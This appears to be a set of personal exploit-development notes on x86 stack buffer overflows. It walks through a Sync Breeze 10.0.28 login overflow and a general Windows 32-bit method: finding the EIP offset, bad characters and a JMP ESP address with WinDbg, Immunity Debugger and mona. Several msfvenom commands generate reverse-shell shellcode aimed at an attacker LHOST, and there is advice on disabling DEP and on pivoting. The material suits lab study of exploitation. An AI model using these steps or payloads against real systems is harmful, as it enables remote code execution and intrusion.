x86 Vanilla Stack BOF
Theory and Vulnerable Code Example
This is an example of a program vulnerable to stack overflow.
If the argument passed to the main function is 64 characters or less, this program will work as expected and will exit normally. However, since there are no checks on the size of the input, if the argument is longer, say 80 bytes, part of the stack adjacent to the target buffer will be overwritten by the remaining 16 characters, overflowing the array boundaries.
The char buffer is a local variable (defined within the main function) and when a function ends its execution, the return address is taken from the stack and used to restore the execution flow to the calling function. If we overwrite the defined buffer, the overwritten return address will be popped into the Extended Instruction Pointer (EIP) CPU register, which will try to read the next instruction.
If the next EIP instruction is not correct, the application will crash. However, obtaining reliable control of EIP would allow us toexecute any assembly code we want.
Sync Breeze Stack-Based BOF
Sync Breeze version 10.0.28 application is vulnerable to BOF, specifically, the username field of the HTTP POST login request could be used to crash the application. Aditionally, Sync Breeze was compiled without any security mechanisms (DEP, ASLR or CFG).
- First Crash
First, we need to test this by sendind a big buffer and try crashing the application.
Open it with windbg and senf a big buffer, for example, with the following python script:
- Controlling the EIP
Now, after sending a bunch of A's, if we notice that the EIP is overwritten with 0x41414141 (AAAA in hex), we now we can overwrite the EIP.
The next step is identifying the location where these four bytes starts by inserting a long string made of non-repeating 4-byte chunks as our input. Then, when the EIP is overwritten with four bytes from our string, we can use that unique sequence to pinpoint the exact location.
To generate a non-repeating string:
locate pattern_create
msf-pattern_create -l 800
Then, instead of sending A's, we send this created pattern in order to locate the EIP value.
After that, to find the offset where the EIP overwrite happens:
pattern-offset.rb -l 800 -q 0x{EIP value after sending the created pattern}
Once obtained the offset, we will try to land 4 B's precisely in the EIP register, so we can update the script with the following:
If the app crashes and we obatined the exact 4 B's in the EIP after the crash, then we have complete control over the EIP register.
- Locating space for shellcode placement
Now, with the app crashed from the previous script, in Windbg we will take a look at the stack and see the buffer of C's:
r
dds esp -10 L8
If we see we overwrote the stack with 16 C's, then we could easly place the payload on the stack, so we will add enough D's to place a shellcode and see if the stack points to the start of D's:
Now, take note of the esp value:
r
Then confirm the 4 bytes of D's and the start of it:
dds esp - 8 L7
Now we will locate the last D's and calculate the size we have to place the payload:
dds esp L4
dds esp+2c0 L4
Once located the first address with no D's:
? {firs address with no D's} - {esp value (from r command)}
The result will the the available bytes of free space for the shellcode.
- Badchars
Depending on the application, vulnerability type, and protocols in use, there may be certain characters that are considered “bad” and should not be used in our buffer, return address, or shellcode.
One way to determine which characters are bad for a particular exploit is to send all possible characters (from 0x00 to 0xFF) as part of our buffer, and observe how the application reacts to these characters after the crash.
To send the badchars, update the script:
Then, with the application crashed, we will look at the bytes of the esp and verify if any characters have been mangled or truncated our buffer:
db esp - 10 L20
Now, we should extract the identified badchars from the script and send again the payload, then, repeat the process again and again until we have verified every character.
- Finding a Return Address
The value of ESP changes from crash to crash, so hardcoding the ESP address to point it at the offset of the EIP is not reliable, instead, we can leverage a JMP ESP instruction, which as the name suggests, “jumps” to the address pointed by ESP when it executes.
If we can find a reliable static address that contains this instruction, we can redirect EIP to this address.
Many support libraries in Windows contain this commonly-used instruction, but we need to find a reference that meets the following criteria:
The address used in the library must be static, which eliminates the libraries compiled with ASLR support
The address of the instruction must not contain any of the bad characters
To determine the protections of a particular module, we can check the DllCharacteristics member of the IMAGE_OPTIONAL_HEADER structure, which is part of the IMAGE_NT_HEADERS structure.
First, list loaded modules by the target binary
lm m {target binary}
Then, display structures with the base address to dump the IMAGE_DOS_HEADER:
dt ntdll!_IMAGE_DOS_HEADER {start address found listing target binary modules}
Now, locate the e_lfanew, which is the offset (in bytes) from the start of the file to the PE header and translate to hex:
? {offset from the start of the PE}
Then, dump the IMAGE_NT_HEADERS structure at the found address:
dt ntdll!_IMAGE_DOS_HEADER {start address found listing target binary modules}+{offset to the PE in hex}
After that, locate the IMAGE_OPTIONAL_HEADER structure, since that contains the DllCharacteristics field:
dt ntdll!_IMAGE_DOS_HEADER {start address found listing target binary modules}+{offset to the PE in hex}+{IMAGE_OPTIONAL_HEADE address}
If the DllCharacteristics is 0
, then, the executable does not have any protections enabled such as SafeSEH, ASLR, or NXCompat.
Unfortunately, the the ImageBase member being set to 0x400000, means that the preferred load address for the target binary is 0x00400000. This indicates that all instructions’ addresses (0x004XXXXX) will contain at least one null character, making this module unsuitable for our input buffer.
To find the mitigations automatically, we could use ProcessHacker, locate the binary, doble-click, and under general, the mitigation policies > Detail, will reveal the security measures.
Then, we could also locate the modules under the Modules tab, and then, to inspect the DllCharacteristics, we can double click on a module and open the properties window.
Using either the manual or automatic approach, we should locate a dll which address range doesn’t contain bad characters.
Once located one, for example, LIBSSP.DLL
, we need to find the address of a naturally-occurring JMP ESP
instruction within this module.
First, to finde the opcode equivalent to the desired instruction:
msf-nasm_shell
nasm > jmp esp
Then, within windbg, we could search for bytes whithin the target module filtering by the desired bytes (FFE4
, 0xFF 0xE4
):
lm m {target dll}
s -b {start address of target dll} {end address of target dll} 0xff 0xe4
Then, we could use the unassemble command to verify:
u {address obatined when filtering for the jmp esp instruction within the target dll range}
Now, we can update the script and try redirecting the EIP to this address (write address in reverese order due to little-endian):
Now, place a breakpoint before firing up the script:
bp {address the eip will point to, which must contain jmp esp}
bl
g
t (step into)
dc eip L4
We should see once stepped into the instruction, that we arrived at the esp, which holds a bunch of D's.
- Reverse Shell
Generate a reverse shell avoiding bad chars:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
We should also include NOP (0x90
) instructions since the GetPC routine used by the msfvenom shellcode overwrites a few bytes on the stack, affecting our payload if we place it directly in the first instruction of the esp.
The final script will be the following:
Windows without protections 32-bit binary
1. Identify binary properties
First of all we use file {binary}
commnad to see that we are aggainst a Windows 32-bit executable.
2. Set up a Windows 7 x32 machine for debugging
Give the machine 1-2 processors and 1-4 GB of RAM Memory.
Configure the machine in the same internal network as the kali machine, to share files beteween both machines.
First we try ping the windows machine from the kali machine, if it doesn’t work, we go to firewall and in inbound rules and we enable the four "Files and printers IPv4 and IPv6" rules. Then we enable the same rules in outbound rules.
Then we disable DEP in the whole system:
bcedit.exe /set {current} nx AlwaysOff
*We can do the same through the control panel in data execution prevention.
To apply changes we restart the machine.
Then we run the binary in this Windows machine and send a nmap scan from our kali machine to reach the port or ports that the binary enables.
If we can't reach thoose ports through our kali machine, we need to enable them:
Firewall > Inbound rules > New rule > Port > Here we specify the port > Allow connection > Check all
Then we repeat the proccess in Outbound rules
Inmunity Debugger
Downlaod and Install Inmunity Debugger and Python 2.7
Mona.py
Now we include mona.py in Inmunity Debugger
We select Raw, and copy all the content in a text document called mona.txt and with cmd we move mona.txt mona.py
Then we need to move this python script to C:\Program Files\Inmunity Inc\Inmunity Debugger\PyCommands
Now if we type !mona in Inmunity Debugger the utility should appear.
https://getgreenshot.org/ for screenshoots in windows
3. Identify if the binary is vulnerable to buffer overflow
We test in the local host sending lot of A's in the input to see if the binary breaks. Then we are going to continue testing in our localhost until we get a functional exploit for that binary, then we exploit the victim machine.
First of all open Inmunity Debugger while the binary is running and we select File > Attach and select that proccess.
Example:
We download the binary in our Windows machine, start it, attach it in Inmunity Debugger and then connect to it with netcat in our Kali machine, then we send multiple A's:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The input should look like this but with more A's, then, after sending this, if we see in Inmunity Debugger that the binary is paused that means that the binary sttopped working and it migth be vulnerable to buffer overflow.
4. Finding the offset
In Inmunity Debugger we can see that the binary breaks with EIP and EBP "AAAA" which hexadecimal value is 0x41414141.
Now the are going to create a pattern and send it in order to locate exactly where we overwrite the EIP.
/usr/share/metasploit-framework/tools/exploit/pattern-create.rb -l 1000
We restart the binary and Inmunity Debugger in the windows machine and attach and play it.
Then, instead of sending A's, we send this created pattern in order to locate the EIP value.
After that we need to see how many characters there are before overwriting the EIP. To do this, we copy the haxadecimal value of the EIP after sending the created pattern and run the following command:
/usr/share/metasploit-framework/tools/exploit/pattern-offset.rb -q 0x{Hexadecimal value of the EIP after sending the created patter}
Example: EIP 35724134 --> …… -q 0x35724134
Now we test it
python3 -c 'print("A"*{offset found} + "B"*4 + "C"*200)'
We copy that payload and send it again with the binary and inmunity running. Now if we have the correct number of characters that go before EIP, the EIP value should be the four B's, 0x42424242 in hexadecimal and the ESP value should be multiple C's.
5. Malware Development
First of all we open Inmunity Debugger and start mona script
!mona
Then we create the working directory and set it in mona to store created patters and transfer them to our Kali machine in a more comfortable way.
!mona config -set workingfolder C:\Users\{My User}\Desktop\{Cretaed folder}\%p
If NX is disable we can create a payload in order to introduce shellcode in the ESP stack.
!mona modules
Now with this utility we are going to create a pattern
!mona bytearray
But we need to exclude bad chars, first we exclude the null byte cause it's usually one.
!mona bytearray -cpb "\x00"
Now we transfer the bytearray.txt file to our Kali machine and extract the bytearray:
cat bytearray.txt | grep -oP '".*?"' | tail -n 8
Next we introduce that payload in the following python script (try python3, python2, python):
Then we execute the payload while Inmunity Debugger is open and attached to the binary.
The binary should stop working and the EIP value should be four B's, 42424242 in hexadecimal.
Now we need to exclude other bad chars so with mona:
!mona compare -f C:\Users\{My User}\Desktop\{Cretaed folder}\.....\bytearray.bin -a 0x{ESP value}
If there are bad chars shown in the output, we need to repeat the proccess excluding them.
Now we have to create the shellcode excluding the bad chars we have identified and excluded from the pattern before.
msfvenom -p windows/shell_reverse_tcp LHOST={My IP} LPORT={Port we want to listen in} --platform windows -a x86 -e x86/shikata_ga_nai -f c -b "\x{First BadChar}\x{Second BadChar}" EXITFUNC=thread
or
msfvenom -p windows/shell_reverse_tcp LHOST={My IP} LPORT={Port we want to listen in} -f python -b "\x{First BadChar}\x{Second BadChar} EXITFUNC=thread
Now we need to search a direction for the EIP in which a jump to the ESP is applied. In order to search the operation code that jumps to the ESP we can use the following metasploit utility:
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp ESP
Now that we know that the corresponding operation code that apply a jump to the ESP is FFE4 we will filter for this in the binary to get a valid direction. To do this we will use mona:
!mona find -s "\xFF\xE4" -m binary.exe
After this we edit the python script and include the shellcode (with a b before every line) and the direction that jumps to the ESP (in little-endian):
Now the test this in our local machine, one to run the binary in our Windows machine, and execute the payload in our kali machine while listening with netcat (nc -nlvp {PORT we have selected in shellcode}
).
Once we know that the exploit works we modify the s.connect section in our python script to send the exploit to the victim IP instead of the localhost, leaving the port unchanged.
If we are pivoting, we must create a new shellcode with LHOST = {Nearest IP that the machine has connection with}, then we send the exploit with proxychains while listening with netcat in the machine that has connection with the victim machine or redirect the connection with socat or netsh in that machine and listen with netcat in our machine.
If we are against a binary that displays a server with more than one option we should first of all Spiking and then add the option to de payload section:
Spiking: Trying to break the program (Testing for vulnerabilities)
nc -nc 0.0.0.0:port
(connect to vulnerable windows machine)
See the options available to us on the server
Next up is testing certain variables for vulnerabilities
Craft spike script to test option
nano option.spk
(for spike)
*Change option to whatver you are spiking and add an espace after closing cuotes. Then while Inmunity Debugger is running with the binary it will pause the program when the option is vulnerable to buffer overflow.
generic_send_tcp 0.0.0.0 port option.spk 0 0
Once we know the vulnerable parameter we follow the same steps as before but adding the option in the payload variable in our python script:
or
If we want to attack a service in which there are 2 inputs, for example,USER and PASS, we should change the last lines of our script:
If we are against a web buffer overflow, we should detect the vulnerable input and:
Last updated